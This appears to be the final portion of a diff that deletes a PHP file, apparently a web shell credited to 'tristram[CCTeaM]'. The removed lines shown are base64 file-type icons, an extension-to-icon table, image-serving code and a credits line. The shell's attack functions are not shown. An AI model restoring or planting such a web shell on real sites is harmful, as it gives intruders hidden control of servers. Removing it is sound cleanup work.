-"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
-"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
-"ext_tar"=>
-"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
-"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
-"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
-"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
-"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
-"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
-"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
-"u4tLAgEAOw==",
-"ext_txt"=>
-"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
-"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
-"UpPWG3Ig6Hq/XmRjuZwkAAA7",
-"ext_wri"=>
-"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
-"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
-"ext_xml"=>
-"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
-"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
-"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
-"IQA7"
- );
- //For simple size- and speed-optimization.
- $imgequals = array(
- "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
- "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
- "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
- "ext_html"=>array("ext_html","ext_htm"),
- "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
- "ext_lnk"=>array("ext_lnk","ext_url"),
- "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
- "ext_doc"=>array("ext_doc","ext_dot"),
- "ext_js"=>array("ext_js","ext_vbs"),
- "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
- "ext_wri"=>array("ext_wri","ext_rtf"),
- "ext_swf"=>array("ext_swf","ext_fla"),
- "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
- "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
- );
- if (!$getall)
- {
- header("Content-type: image/gif");
- header("Cache-control: public");
- header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
- header("Cache-control: max-age=".(60*60*24*7));
- header("Last-Modified: ".date("r",filemtime(__FILE__)));
- foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
- if (empty($images[$img])) {$img = "small_unk";}
- if (in_array($img,$ext_tar)) {$img = "ext_tar";}
- echo base64_decode($images[$img]);
- }
- else
- {
- foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! 删除 \$images[".$d."] ");}}}}
- natsort($images);
- $k = array_keys($images);
- echo "";
- foreach ($k as $u) {echo $u.": ";}
- echo " ";
- }
- exit;
-}
-if ($act == "about") {echo "Credits: Idea, leading and coding by tristram[CCTeaM]. Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM]. Thanks all who report bugs. All bugs send to tristram's ICQ #656555 . ";}
-?>
-